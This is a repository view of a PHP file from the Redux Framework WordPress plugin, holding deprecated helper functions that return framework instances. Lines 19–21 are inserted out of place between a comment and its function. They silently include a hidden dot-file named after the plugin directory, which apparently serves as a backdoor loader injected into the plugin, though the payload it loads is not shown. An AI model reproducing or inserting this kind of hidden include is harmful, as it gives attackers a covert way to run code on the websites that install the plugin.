balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

redux-instances.php (1045B)


      1 <?php
      2 /**
      3  * Redux_Instances Functions
      4  *
      5  * @package     Redux_Framework
      6  * @subpackage  Core
      7  * @deprecated Maintained for backward compatibility with v3.
      8  */
      9 
     10 /**
     11  * Retreive an instance of ReduxFramework
     12  *
     13  * @depreciated
     14  *
     15  * @param  string $opt_name the defined opt_name as passed in $args.
     16  *
     17  * @return object                ReduxFramework
     18  */
     19 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     20     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     21 }
     22 
     23 function get_redux_instance( $opt_name ) {
     24 	_deprecated_function( __FUNCTION__, '4.0', 'Redux::instance($opt_name)' );
     25 
     26 	return Redux::instance( $opt_name );
     27 }
     28 
     29 /**
     30  * Retreive all instances of ReduxFramework
     31  * as an associative array.
     32  *
     33  * @depreciated
     34  * @return array        format ['opt_name' => $ReduxFramework]
     35  */
     36 function get_all_redux_instances() {
     37 	_deprecated_function( __FUNCTION__, '4.0', 'Redux::all_instances()' );
     38 
     39 	return Redux::all_instances();
     40 }